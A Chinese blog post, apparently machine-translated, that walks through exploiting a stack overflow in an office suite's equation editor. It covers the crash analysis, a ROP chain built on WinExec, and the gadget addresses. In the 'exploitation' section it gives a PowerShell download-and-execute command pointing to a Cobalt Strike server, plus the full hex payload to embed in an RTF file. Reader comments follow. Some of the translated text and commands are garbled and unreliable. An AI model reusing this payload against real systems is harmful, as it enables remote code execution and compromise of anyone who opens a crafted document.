某办公处理软件公式编辑器再次出现漏洞

01 概述各公司的网络安全防护体系的壁垒日益增高,攻击人员从防护体系的正面撕开入侵的路径的机会越发渺茫。使用多个0day组合攻击相对成本较高,社工这种低成本收益

本篇文章给大家谈谈某办公处理软件公式编辑器再次出现漏洞,以及对应的知识点,文章可能有点长,但是希望大家可以阅读完,增长自己的知识,最重要的是希望对各位有所帮助,可以解决了您的问题,不要忘了收藏本站喔。

02 漏洞说明

1、某办公处理软件2019版11.1.0.10132受影响版本

2. 漏洞类型堆栈溢出攻击

3. 发现方法模糊

4、本次测试环境中,由于在网络上没有找到对应的版本,所以找到了类似的版本11.1.0.10397。

如果使用win10系统,系统版本号为18363.592。

系统环境配置完毕后,一定要进行快照!测试过程中发现,有时漏洞无法触发,windbg等调试器容易崩溃。原因不明,所以一定要拍照!

03 漏洞成因

模糊测试过程中发生崩溃。使用windbg的!analyze插件来分析故障转储文件。分析结果如下图所示:

在ida中找到对应的地址,然后向上追踪那些修改了eax的指令。可以看到004362b6处有一条call指令,说明call指令调用的函数返回结果有问题。

看伪代码,对应的函数是sub_43622d中的v8[8]函数。

结合伪代码和调用指令的格式,大概推断该程序使用了虚函数表。

在注册表中的公式编辑器中添加一个字符串类型的Debugger值,以保证公式编辑器启动时能够触发windbg并调试公式编辑器。

在004362b6 设置断点。

//每次断点时显示eax的值,继续执行bp 004362B6 ‘.printf \’hits=%d\n\’,$t0;r @$t0=@$t0+1;r @eax;气相色谱’

如果使用windbg设置断点时使用文件名+偏移量的方式,则加载后必须先使用lm命令查看文件的真实名称。比如直接看到的文件名是a.exe,但加载后可能是a32.exe。设置断点时,需要使用a32+offset来设置断点。

断点记录如下:

命中=0 eax=00451938 命中=1 eax=00451970。 (hits1-hits56的eax值都是00451970)hits=56 eax=00451970hits=57 eax=00450f58断点1 hiteax=00450530 ebx=00772658 ecx=004505bc edx=00000000 esi=0000ffff编辑我=0019f14ceip=74fbdab0 esp=0019eee0 ebp=0019efec iopl=0 nv up ei pl nz na po nccs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202KERNEL32!WinExec:74fbdab0 8bff mov edi,edi

可以看到eax有3个值:00451938、00451970、00450f58。这三个值加20h对应的ida中对应的情况如下:

00451938:

00451970:

00450f58:

在eqnedt32+0x362b6处设置条件断点,检查eax为00451970和00450f58时调用的函数。 bu eqnedt32+0x362b6 ‘.if @eax=0x00450f58 {} .else {gh}’

当eax=00451970时,调用0043ebdf处的函数。

某办公处理软件公式编辑器再次出现漏洞

当eax=00450f58时,调用0043ebdf处的函数。

检查ida中的0043ebdf,发现ida没有解析该函数,需要使用ida来创建该函数。

编译器优化可能会导致ida无法解析函数,导致无法在函数列表中检索到对应的函数。

创建函数后请参阅伪代码。

43ebdf涉及的3个函数分析。

sub_436c85 函数仅执行值选择:

sub_415c54中的指针调整:

sub_43ECFA涉及结果,同时将读取的字节值放入堆栈。

sub_43ecfa涉及到的参数在堆栈中的分布如下图所示。当v4足够大时,sub_43ecfa中的while循环将继续向堆栈写入数据,直到ebp和返回地址被覆盖。

04 漏洞触发情况

sub_43EBDF在eax=00450f58和00451970时会被调用,即case=2、case=5。

根据MathType 6.9 SDK:

解析char记录和matrlx记录时发现堆栈溢出漏洞。

05 利用过程

在x64dbg下使用checksec查看eqnedit使用的保护技术。结果如下图所示,仅启用了dep测量。所以尝试使用rop来执行命令。

首先使用winexec梳理一下rop逻辑链,如下图:

当我第一次组织payload的时候,并没有考虑payload的通用性。经过郭兄的提醒,我发现后面组织负载的时候要考虑通用性。有效负载=缓冲区+ebp+Gadgets1+winexe()+Gadgets2+lpCmdLine+uCmdShow+exit()Gadgets1=pop;ret;Gadgets2=pop;pop;ret;

让我们开始寻找有效负载各部分的地址。

1、缓冲区长度进入sub_43ebdf后,ebp=0x19efd0,v[7]=ebp-ch,所以需要32byte缓冲区内容来覆盖ebp。

2、winexec()遍历程序加载模块中的winexec()后发现只有eqnedit和kernel32.dll有winexec。为了通用性,使用eqnedit 中的winexec。

查询交叉引用后,只有eqnedit中的sub_42D8C0调用了winexec,因此使用eqnedit!sub_42D8C0而不是kernel32!winexec。

3、exit()遍历程序加载模块中的exit()后发现只有msvcrt.dll、kernelbase.dll、comctl32.dll和eqnedit.exe有合适的exit()函数。

msvcrt.dll 地址=772D6210 类型=导出序列号=291 符号=_c_exitmsvcrt.dll 地址=772D6230 类型=导出序列号=295 符号=cexitkernelbase.dll 地址=7656C2C0 类型=导出序列号=1864 符号=cexitcomctl32.dll 地址=65DD8805 类型=符号符号=__cexit

4. lpCmdLine相关4.1。第一步是确定cmdline 应放置在rtf 文件中的位置。

某办公处理软件公式编辑器再次出现漏洞

可以放置在绳索链的末端。当打开rtf文件时,程序会将相应的内容加载到堆中。

注意:从伪代码可以看出,程序使用GlobalLock来获取指针。因此,不能用malloc的思想来理解globalalloc的堆分配思想。

通用句柄HANDLE有时是逻辑指针,大多数时候是结构体指针,而HMENU等特殊句柄则是结构体指针。

4.2.第二步是确定cmdline 在内存中的位置。

cmdline之所以放在堆中是因为程序使用了globalalloc来申请堆。这个堆只能用globallock函数来读取,所以只能在程序中找到globallock函数来获取cmdline指针。同时需要注意的是,globallock函数只是将句柄转换为指针,无法实现类似memcpy的功能。

导入表中没有memcpy函数,所以只能使用实现内存复制的函数,例如sub_43ECFA。

5. 查找Gadgets 使用免疫调试器的mona 脚本来查找合适的Gadgets。

//使用以下命令搜索pop pop ret格式指令!mona seh -m KERNEL32.dll -cpb ‘\x00\x0a\x0d’//使用以下命令搜索可用的pop ret格式指令!mona rop -米*。 dll -cpb ‘\x00\x0a\x0d’

选择相应的值分配给Gadgets1和Gadgets2。为了有效载荷的通用性,结果如下:

小工具1=’\x92\xb7\x44\x00′ 小工具2=’\xd6\x74\x44\x00′

06 利用上线

在cc上部署cs端,并在80端口开启反向http。

使用脚本化网络交付发布在线ps1 文件。

然后将上述有效负载中的cmdline 替换为以下命令:

powershell.exe -nop -w 隐藏-c ‘IEX ((new-object net.webclient).downloadstring(‘http://192.168.44.128:80/a’))’

十六进制编码后变为:

706f7765727368656c6c2e657865202d6e6f70202d772068696464656e202d6320224945582028286e65772d6f626a656374206e65742e776562636c6 9656e74292e646f776e6c6f6164737472696e672827687474703a2f2f3139322e3136382e34342e3132383a38302f6127292922

经过多次测试,最终的payload为:

有效负载=缓冲区+小工具0+sub_43ecfa+小工具2+00000231(sub_43ecfa_arg1)+cmdline+winexec+退出+cmdline+“00”+cmdlineBBBBBBBBBBBBBBBBBBBBBBBB93B74400F5614300FAEC430092B74400310200003 005450 0C0D8420030622D773005450000706f7765727368656c6c2e657865202d6e6f70202d772068696464656e202d6320224945582028286e65772d 6f626a65 6374206e65742e776562636c69656e74292e646f776e6c6f61647 37472696e672827687474703a2f2f3139322e3136382e34342e3132383a383 02f6127 292922 测试时发现缺少gadgets0会破坏数据结构,所以只能保留。

07 样本制作

因为网上没有找到rtf文件结构的详细描述,也没有找到char记录和matrlx记录的结构。而且,在构造空白公式和特殊公式进行二元比较时,无法准确比较矩阵公式的位置,所以只能从exp来分析。经过多次调试分析,发现rtf文件的从28551D(6F87h)开始存储的位置数据会被读入v[7],也就是sub_43ebdf第二次调用sub_43ecfa的地方。

从下面两张图可以看出,v[7]包括ebp已经被b覆盖了。

用户评论

某办公处理软件公式编辑器再次出现漏洞
╯念抹浅笑

这个文章真是太棒了!我一直在使用这款办公软件,现在看到它有安全漏洞真的让人担心。好在这篇文章里详细讲解了漏洞的复现过程,让我可以更好地了解它的危险性,也会提醒大家注意安全。

    有7位网友表示赞同!

某办公处理软件公式编辑器再次出现漏洞
箜篌引

说实话,我对这些程序的安全问题不太懂,但这篇文章用很通俗易懂的语言解释了漏洞的存在和危害。希望官方能尽快修复这个问题,维护用户的数据安全!

    有19位网友表示赞同!

某办公处理软件公式编辑器再次出现漏洞
短发

看到这个漏洞复现的过程,感觉有点恐怖啊。我以前以为办公软件比较安全的,没想到还是存在这样严重的漏洞。以后得更小心使用这些软件!

    有18位网友表示赞同!

某办公处理软件公式编辑器再次出现漏洞
枫无痕

文章写的很好,很容易理解。希望这篇文章能引起官方和广大用户的高度重视,尽快修复漏洞,避免更大的安全风险!

    有13位网友表示赞同!

某办公处理软件公式编辑器再次出现漏洞
|赤;焰﹏゛

这个公式编辑器是这款办公软件里我最喜欢的功能之一!现在知道它有漏洞让人真是失望透顶。是不是该考虑使用其他办公软件呢?

    有9位网友表示赞同!

某办公处理软件公式编辑器再次出现漏洞
冷眼旁观i

其实只要不轻易点击无源链接或者下载不明文件,应该不会受到影响吧?这篇文章感觉有点夸张了。

    有13位网友表示赞同!

某办公处理软件公式编辑器再次出现漏洞
该用户已上天

这个漏洞的复现过程真让人眼花缭乱!看来我们需要学习一些基本的网络安全知识,才能更好地保护我们的个人信息。

    有5位网友表示赞同!

某办公处理软件公式编辑器再次出现漏洞
龙吟凤

我平时很少使用公式编辑器,倒是没有发现它有什么问题。也许是这款办公软件的功能比较局限?

    有10位网友表示赞同!

某办公处理软件公式编辑器再次出现漏洞
焚心劫

这种漏洞的修复需要时间和人力成本,官方也一定会尽力解决这个问题的。我们还是保持理性,继续关注官方的消息吧!

    有15位网友表示赞同!

某办公处理软件公式编辑器再次出现漏洞
微信名字

作为一名程序员,我理解修复安全漏洞的难度。希望开发团队能够尽快找到解决方案,并加强软件的安全防护措施!

    有13位网友表示赞同!

某办公处理软件公式编辑器再次出现漏洞
花菲

这篇博文很有价值!不仅讲解了漏洞的复现过程,还提供了简单的预防建议。让我们大家更加意识到网络安全的的重要性,共同维护一个安全可靠的网络环境。

    有8位网友表示赞同!

某办公处理软件公式编辑器再次出现漏洞
?亡梦爱人

公式编辑器这个功能对我来说没什么用处啊,我基本都在使用其他软件来处理公式。所以这个漏洞对我不影响太大吧?

    有5位网友表示赞同!

某办公处理软件公式编辑器再次出现漏洞
站上冰箱当高冷

如果这个漏洞真的像博主说的那样严重,那官方肯定会尽快发布修复更新的。我们还是耐心等待官方的消息就好!

    有19位网友表示赞同!

某办公处理软件公式编辑器再次出现漏洞
ゞ香草可樂ゞ草莓布丁

这篇文章让我意识到网络安全的重要性,不仅是办公软件要重视,每个使用互联网的人都要提高安全意识!

    有20位网友表示赞同!

某办公处理软件公式编辑器再次出现漏洞
挽手余生ら

我平时特别小心谨慎使用电脑,从来不会下载不明文件或者点击可疑链接。估计这个漏洞对我来说没什么威胁吧?

    有5位网友表示赞同!

某办公处理软件公式编辑器再次出现漏洞
七夏i

看到这段代码真让我头疼啊!作为一个普通人,我真的不太懂这些技术细节。希望官方能给出一个简单的解释,让我们用户也能清楚地了解问题的严重性!

    有10位网友表示赞同!

某办公处理软件公式编辑器再次出现漏洞
身影

对于一个办公软件来说,拥有安全可靠的功能是至关重要的!我希望官方能够重视这个问题,尽快修复漏洞,保障用户的正常使用体验。

    有17位网友表示赞同!

某办公处理软件公式编辑器再次出现漏洞
笑叹★尘世美

这个漏洞的复现过程挺复杂的,让人感觉程序员的工作也是非常难的。还是要佩服他们能开发出这么强大的软件!

    有14位网友表示赞同!

原创文章,作者:小su,如若转载,请注明出处:https://www.sudun.com/ask/167373.html

(0)
小su的头像小su
上一篇 2小时前
下一篇 2小时前

相关推荐

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注